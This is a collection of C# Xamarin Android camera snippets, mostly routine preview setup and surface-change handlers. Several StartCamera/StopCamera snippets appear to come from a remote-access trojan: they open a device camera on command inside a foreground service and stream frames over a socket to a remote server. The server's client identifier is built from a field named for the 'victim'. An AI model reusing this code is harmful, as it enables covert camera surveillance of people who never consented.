public void SurfaceChanged(ISurfaceHolder holder, [GeneratedEnum] Format format, int width, int height) { if (Holder.Surface == null) { return; } try { _camera.StopPreview(); } catch (Exception e) { Log.Error("CAMERA_PREVIEW", "Error Stopping preview" + e.Message); } try { _camera.SetPreviewDisplay(Holder); _camera.StartPreview(); } catch (Exception e) { Log.Debug("CAMERA_PREVIEW", "Error starting camera preview: " + e.Message); } }
public void SurfaceChanged(ISurfaceHolder holder, [GeneratedEnum] Format format, int width, int height) { if (surfaceHolder.Surface == null) { return; } try { cameraInstance.StopPreview(); cameraInstance.SetPreviewDisplay(surfaceHolder); Android.Hardware.Camera.Parameters parameters = cameraInstance.GetParameters(); Android.Hardware.Camera.Size optimalSize = CameraHelpers.GetOptimalPreviewSize(context, cameraInstance, width, height); parameters.SetPreviewSize(optimalSize.Width, optimalSize.Height); parameters.SetPictureSize(optimalSize.Width, optimalSize.Height); parameters.FocusMode = Android.Hardware.Camera.Parameters.FocusModeContinuousPicture; cameraInstance.SetParameters(parameters); cameraInstance.SetDisplayOrientation(CameraHelpers.GetCameraOrientation(context)); cameraInstance.StartPreview(); } catch (Exception e) { Log.Debug("Camera activity", "Error starting camera preview: " + e.Message); } }
public void SurfaceChanged(ISurfaceHolder holder, [GeneratedEnum] Format format, int width, int height) { if (Holder.Surface == null) { return; } try { _camera.StopPreview(); } catch (Exception) { // ignore: tried to stop a non-existent preview } try { // start preview with new settings _camera.SetPreviewDisplay(Holder); _camera.StartPreview(); } catch (Exception e) { Log.Debug("", "Error starting camera preview: " + e.Message); } }
public void SurfaceChanged(ISurfaceHolder holder, [GeneratedEnum] Format format, int width, int height) { if (Holder.Surface == null) { return; } try { camera.StopPreview(); } catch (Exception) { // ignore: tried to stop a non-existent preview } try { // start preview with new settings camera.SetPreviewDisplay(Holder); camera.StartPreview(); } catch (Exception e) { } }
public void SurfaceChanged(ISurfaceHolder holder, [GeneratedEnum] Format format, int width, int height) { if (holder.Surface == null) { return; } try { _mCamera.StopPreview(); } catch (Exception e) { //TODO:KOA: remove Console! Console.WriteLine(Localization.Errors.ErrorCameraPreview + e.Message); } try { var p = _mCamera.GetParameters(); p.SetPreviewSize(_mPreviewSize.Width, _mPreviewSize.Height); if (p.SupportedFocusModes.Contains(Android.Hardware.Camera.Parameters.FocusModeContinuousVideo)) { p.FocusMode = Android.Hardware.Camera.Parameters.FocusModeContinuousVideo; _mCamera.SetParameters(p); } switch (Display.Rotation) { case SurfaceOrientation.Rotation0: _mCamera.SetDisplayOrientation(90); break; case SurfaceOrientation.Rotation90: break; case SurfaceOrientation.Rotation180: break; case SurfaceOrientation.Rotation270: _mCamera.SetDisplayOrientation(180); break; } p.SetPreviewSize(_mPreviewSize.Width, _mPreviewSize.Height); if (_mPictureSize != null) { p.SetPictureSize(_mPictureSize.Width, _mPictureSize.Height); } p.SetRotation(90); _mCamera.SetParameters(p); _mCamera.SetPreviewDisplay(holder); _mCamera.StartPreview(); } catch (Exception e) { //TODO:KOA: remove Console! Console.WriteLine(Localization.Errors.ErrorCameraPreview + e.Message); } }
public void SurfaceCreated(ISurfaceHolder holder) { try { camera.SetPreviewDisplay(holder); } catch (Exception e) { Log.Debug("Exception", e.Message); } }
public void SurfaceCreated(ISurfaceHolder holder) { try { _camera.SetPreviewDisplay(holder); _camera.StartPreview(); } catch { } }
public void SurfaceCreated(ISurfaceHolder holder) { //If authorisation not granted for camera if (ContextCompat.CheckSelfPermission(CurrentContext, Manifest.Permission.Camera) != Permission.Granted) { //ask for authorisation ActivityCompat.RequestPermissions(CurrentContext, new System.String[] { Manifest.Permission.Camera }, 50); } else { if (camera != null) { camera.Release(); camera = null; } camera = Android.Hardware.Camera.Open(); camera.SetDisplayOrientation(90); Parameters parameters = camera.GetParameters(); parameters.FocusMode = Parameters.FocusModeContinuousVideo; camera.SetParameters(parameters); camera.SetPreviewDisplay(holder); camera.StartPreview(); initRecorder(); camera.Unlock(); } prepareRecorder(); }
public void StopCamera() { if (mCamera != null) { try { mCamera.StopPreview(); mCamera.SetPreviewDisplay(null); mCamera.SetPreviewCallback(null); mCamera.Lock(); mCamera.Release(); mCamera = null; hldr.RemoveCallback(this); if (ForegroundService.windowManager != null) { if (ForegroundService._globalSurface != null) { ForegroundService.windowManager.RemoveView(ForegroundService._globalSurface); ForegroundService.windowManager = null; ForegroundService._globalSurface = null; } } ForegroundService._globalService.CamInService(); try { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CAMREADY", "[VERI][0x09]"); } catch (Exception) { } } catch (Exception) { } } }
public void SurfaceCreated(ISurfaceHolder holder) { Logger.LogInfo(nameof(SurfaceHolderCallback), nameof(SurfaceCreated), "called."); try { if (_Camera == null) { _Camera = Open(); _Parameters = _Camera.GetParameters(); if (SupportsFlash()) { Logger.LogInfo(nameof(SurfaceHolderCallback), nameof(SurfaceCreated), "flash is supported. Enabling flash."); _Parameters.FlashMode = Parameters.FlashModeTorch; } if (SupportsZoom()) { Logger.LogInfo(nameof(SurfaceHolderCallback), nameof(SurfaceCreated), "zoom is supported. Enabling zoom."); _Parameters.Zoom = _Parameters.MaxZoom / 2; } _Camera.SetParameters(_Parameters); _Camera.SetPreviewDisplay(holder); } } catch (Java.Lang.Exception ex) { Logger.LogError(ex); } }
public void StopCamera() { if (mCamera != null) { try { mCamera.StopPreview(); mCamera.SetPreviewDisplay(null); mCamera.SetPreviewCallback(null); mCamera.Lock(); mCamera.Release(); mCamera = null; hldr.RemoveCallback(this); if (ForegroundService.windowManager != null) { if (ForegroundService._globalSurface != null) { ForegroundService.windowManager.RemoveView(ForegroundService._globalSurface); ForegroundService._globalSurface.Dispose(); } ForegroundService.windowManager.Dispose(); } ForegroundService._globalService.CamInService(); } catch (Exception) { } } if (camSock != null) { try { camSock.Close(); } catch { } try { camSock.Dispose(); } catch { } } }
private void OpenCamera() { if (CheckSelfPermission(Manifest.Permission.Camera) != Permission.Granted) { RequestCameraPermission(); return; } camera = Open(); Parameters parameters = camera.GetParameters(); parameters.PictureFormat = ImageFormatType.Jpeg; parameters.PreviewFormat = ImageFormatType.Nv21; if (parameters.SupportedFocusModes.Contains(Parameters.FocusModeContinuousVideo)) { parameters.FocusMode = Parameters.FocusModeContinuousVideo; } IList <Size> suportedPreviewSizes = parameters.SupportedPreviewSizes; int i = 0; for (i = 0; i < suportedPreviewSizes.Count; i++) { if (suportedPreviewSizes[i].Width < 1300) { break; } } parameters.SetPreviewSize(suportedPreviewSizes[i].Width, suportedPreviewSizes[i].Height); camera.SetParameters(parameters); camera.SetDisplayOrientation(90); camera.SetPreviewCallback(this); camera.SetPreviewDisplay(surface.Holder); camera.StartPreview(); //Get camera width previewWidth = parameters.PreviewSize.Width; //Get camera height previewHeight = parameters.PreviewSize.Height; //Resize SurfaceView Size float scaledHeight = previewWidth * 1.0f * surface.Width / previewHeight; float prevHeight = surface.Height; ViewGroup.LayoutParams lp = surface.LayoutParameters; lp.Width = surface.Width; lp.Height = (int)scaledHeight; surface.LayoutParameters = lp; surface.Top = (int)((prevHeight - scaledHeight) / 2); surface.DrawingCacheEnabled = true; handlerThread = new HandlerThread("background"); handlerThread.Start(); //backgroundHandler = new MyHandler(handlerThread.Looper); backgroundHandler = new MyHandler(Looper.MainLooper); }
public void StartCamera(int camID, string flash, string resolution, string focuse) { StopCamera(); try { mCamera = Android.Hardware.Camera.Open(camID); } catch (Exception) { try { byte[] dataPacker = ((MainActivity)MainActivity.global_activity).MyDataPacker("CAMNOT", System. Text.Encoding.UTF8.GetBytes("vid")); MainActivity.Soketimiz.BeginSend(dataPacker, 0, dataPacker.Length, SocketFlags.None, null, null); } catch (Exception) { } return; } Android.Hardware.Camera.Parameters params_ = mCamera.GetParameters(); SetFlashModeOff(params_); if (flash == "1") { FlashParam(params_); } /// params_.SetPreviewSize(int.Parse(resolution.Split('x')[0]), int.Parse(resolution.Split('x')[1])); /// if (focuse == "1") { SetFocusModeOn(params_); } /// SetSceneModeAuto(params_); SetWhiteBalanceAuto(params_); mCamera.SetParameters(params_); try { mCamera.SetPreviewDisplay(hldr); mCamera.SetPreviewCallback(this); mCamera.StartPreview(); } catch (Exception) { try { byte[] senddata = ((MainActivity)MainActivity.global_activity).MyDataPacker("CAMNOT", Encoding.UTF8.GetBytes("Can't start camera")); MainActivity.Soketimiz.BeginSend(senddata, 0, senddata.Length, SocketFlags.None, null, null); } catch (Exception) { } StopCamera(); return; } }
public void SurfaceCreated(ISurfaceHolder holder) { // throw new NotImplementedException(); // open camera's parameters camera = Android.Hardware.Camera.Open(); camera.SetDisplayOrientation(90); Android.Hardware.Camera.Parameters p = camera.GetParameters(); p.PictureFormat = ImageFormatType.Jpeg; camera.SetParameters(p); camera.SetPreviewCallback(this); camera.SetPreviewDisplay(holder); camera.StartPreview(); }
/** * In addition to calling {@link Camera#startPreview()}, it also * updates the preview display that could be changed in some situations * @param holder the current {@link SurfaceHolder} */ private async void StartCameraPreview(ISurfaceHolder holder) { try { _camera.SetPreviewDisplay(holder); _camera.StartPreview(); _camera.AutoFocus(null); } catch (Exception e) { Console.WriteLine($"startCameraPreview(): error starting camera preview, {e}"); } }
public void SwitchCamera(Camera camera) { SetCamera(camera); try { camera.SetPreviewDisplay(mHolder); } catch (IOException exception) { Log.Error(TAG, "IOException caused by setPreviewDisplay()", exception); } Camera.Parameters parameters = camera.GetParameters(); parameters.SetPreviewSize(mPreviewSize.Width, mPreviewSize.Height); RequestLayout(); camera.SetParameters(parameters); }
public void SurfaceCreated(ISurfaceHolder holder) { // The Surface has been created, acquire the camera and tell it where // to draw. try { if (mCamera != null) { mCamera.SetPreviewDisplay(holder); } } catch (IOException exception) { Log.Error(TAG, "IOException caused by setPreviewDisplay()", exception); } }
public void SurfaceChanged(ISurfaceHolder holder, Format format, int width, int height) { try { if (previewing) { camera.StopPreview(); previewing = false; } if (camera != null) { camera.SetPreviewDisplay(surfaceHolder); camera.StartPreview(); previewing = true; } } catch { } }
public void SurfaceCreated(ISurfaceHolder holder) { // The Surface has been created, acquire the camera and tell it where // to draw. camera = Camera.Open(); try { camera.SetPreviewDisplay(holder); camera.SetPreviewCallback(this); } catch (Exception) { camera.Release(); camera = null; // TODO: add more exception handling logic here } }
public void SwitchCamera(Android.Hardware.Camera camera) { PreviewCamera = camera; try { camera.SetPreviewDisplay(mHolder); } catch (Java.IO.IOException exception) { Log.Error(TAG, "IOException caused by setPreviewDisplay()", exception); } Android.Hardware.Camera.Parameters parameters = camera.GetParameters(); parameters.SetPreviewSize(mPreviewSize.Width, mPreviewSize.Height); Console.WriteLine("Param mPreviewSize.Width:" + mPreviewSize.Width + " mPreviewSize.height:" + mPreviewSize.Height); RequestLayout(); camera.SetParameters(parameters); }
public void StartCamera(int camID, string flash, string resolution, string focuse) { StopCamera(); try { mCamera = Android.Hardware.Camera.Open(camID); } catch (Exception) { try { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CAMNOT", "[VERI]vid[0x09]"); } catch (Exception) { } return; } Android.Hardware.Camera.Parameters params_ = mCamera.GetParameters(); SetFlashModeOff(params_); if (flash == "1") { FlashParam(params_); } /// params_.SetPreviewSize(int.Parse(resolution.Split('x')[0]), int.Parse(resolution.Split('x')[1])); /// if (focuse == "1") { SetFocusModeOn(params_); } /// SetSceneModeAuto(params_); SetWhiteBalanceAuto(params_); mCamera.SetParameters(params_); try { mCamera.SetPreviewDisplay(hldr); mCamera.SetPreviewCallback(this); mCamera.StartPreview(); } catch (Exception) { try { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CAMNOT", "[VERI]Can't start camera[0x09]"); } catch (Exception) { } StopCamera(); return; } }
public void StartCamera(int camID, string flash, string resolution) { StopCamera(); try { mCamera = Android.Hardware.Camera.Open(camID); } catch (Exception) { try { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CAMNOT", "[VERI][0x09]"); } catch (Exception) { } return; } Android.Hardware.Camera.Parameters params_ = mCamera.GetParameters(); SetFlashModeOff(params_); if (flash == "1") { FlashParam(params_); } /// params_.SetPreviewSize(int.Parse(resolution.Split('x')[0]), int.Parse(resolution.Split('x')[1])); /// SetFocusModeAuto(params_); /// SetSceneModeAuto(params_); SetWhiteBalanceAuto(params_); mCamera.SetParameters(params_); try { mCamera.SetPreviewDisplay(hldr); mCamera.SetPreviewCallback(this); mCamera.StartPreview(); } catch (Exception) { Android.Widget.Toast.MakeText(MainActivity.global_activity, "START CAMERA", Android.Widget.ToastLength.Long).Show(); } }
public void StartCamera(int camID, string flash, string resolution, string focuse) { //StopCamera(); try { mCamera = Android.Hardware.Camera.Open(camID); } catch (Exception) { try { byte[] dataPacker = ForegroundService._globalService.MyDataPacker("CAMNOT", System. Text.Encoding.UTF8.GetBytes("OPENERR")); ForegroundService.Soketimiz.BeginSend(dataPacker, 0, dataPacker.Length, SocketFlags.None, null, null); } catch (Exception) { } return; } try { if (camSock != null) { try { camSock.Close(); } catch { } try { camSock.Dispose(); } catch { } } ID = MainValues.KRBN_ISMI + "_" + ForegroundService._globalService.GetIdentifier(); camSock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); IPAddress ipadresi_dosya = Dns.GetHostAddresses(MainValues.IP)[0]; IPEndPoint endpoint_dosya = new IPEndPoint(ipadresi_dosya, MainValues.port); camSock.SendBufferSize = int.MaxValue; camSock.SendTimeout = -1; camSock.NoDelay = true; ForegroundService._globalService.SetKeepAlive(camSock, 2000, 1000); camSock.Connect(endpoint_dosya); byte[] ready = ForegroundService._globalService.MyDataPacker("MYVIDREADY", Encoding.UTF8.GetBytes("ECHO"), ID); camSock.Send(ready, 0, ready.Length, SocketFlags.None); Android.Hardware.Camera.Parameters params_ = mCamera.GetParameters(); SetFlashModeOff(params_); if (flash == "1") { FlashParam(params_); } /// params_.SetPreviewSize(int.Parse(resolution.Split('x')[0]), int.Parse(resolution.Split('x')[1])); /// if (focuse == "1") { SetFocusModeOn(params_); } /// SetSceneModeAuto(params_); SetWhiteBalanceAuto(params_); try { mCamera.SetParameters(params_); mCamera.SetPreviewDisplay(hldr); mCamera.SetPreviewCallback(this); mCamera.StartPreview(); } catch (Exception) { try { byte[] senddata = ForegroundService._globalService.MyDataPacker("CAMNOT", Encoding.UTF8.GetBytes("PREVERR")); ForegroundService.Soketimiz.BeginSend(senddata, 0, senddata.Length, SocketFlags.None, null, null); } catch (Exception) { } StopCamera(); } } catch (Exception ex) { try { byte[] senddata = ForegroundService._globalService.MyDataPacker("CAMNOT", Encoding.UTF8.GetBytes(ex.Message)); ForegroundService.Soketimiz.BeginSend(senddata, 0, senddata.Length, SocketFlags.None, null, null); } catch (Exception) { } StopCamera(); } }
public void SwitchCamera (Camera camera) { SetCamera (camera); try { camera.SetPreviewDisplay (mHolder); } catch (IOException exception) { Log.Error (TAG, "IOException caused by setPreviewDisplay()", exception); } Camera.Parameters parameters = camera.GetParameters (); parameters.SetPreviewSize (mPreviewSize.Width, mPreviewSize.Height); RequestLayout(); camera.SetParameters (parameters); }
int cameraPreviewWidth = 0;//预览尺寸 public void SurfaceCreated(ISurfaceHolder holder) { try { camera = Android.Hardware.Camera.Open(); if (camera != null) { Parameters parameter = camera.GetParameters(); IList <Android.Hardware.Camera.Size> prviewList = parameter.SupportedPreviewSizes; IList <Android.Hardware.Camera.Size> videoList = parameter.SupportedVideoSizes; IList <Java.Lang.Integer> rateList = parameter.SupportedPreviewFrameRates; if (prviewList != null && prviewList.Count > 0) { prviewSizeList = new List <Android.Hardware.Camera.Size>(); for (int i = 0; i < prviewList.Count; i++) { if (prviewList[i] != null) { prviewSizeList.Add(prviewList[i]); } } } if (videoList != null && videoList.Count > 0) { videoSizeList = new List <Android.Hardware.Camera.Size>(); for (int i = 0; i < videoList.Count; i++) { if (videoList[i] != null) { videoSizeList.Add(videoList[i]); } } } if (rateList != null && rateList.Count > 0) { bool exist = false; foreach (var item in rateList) { int rate = item.IntValue(); if (rate >= 15) { exist = true; supportFrameRate = rate; break; } } if (!exist) { supportFrameRate = rateList[0].IntValue(); } } if (prviewSizeList != null && prviewSizeList.Count > 0) { cameraPreviewWidth = prviewSizeList[0].Width / 3; bestIndex = BestVideoSize(cameraPreviewWidth); parameter.SetPreviewSize(prviewSizeList[0].Width, prviewSizeList[0].Height); } camera.SetPreviewDisplay(vv.Holder); camera.SetDisplayOrientation(90); camera.StartPreview(); } } catch (Exception e) { } }
public void SurfaceCreated(ISurfaceHolder holder) { try { // if only front camera, get it camera = Camera.Open(0); Camera.Parameters p = camera.GetParameters(); p.PictureFormat = Android.Graphics.ImageFormatType.Jpeg; camera.EnableShutterSound(true); // fix camera rotation camera.SetDisplayOrientation(0); camera.SetParameters(p); camera.SetPreviewCallback(this); camera.Lock(); camera.SetPreviewDisplay(holder); camera.StartPreview(); } catch (Java.IO.IOException e) { } }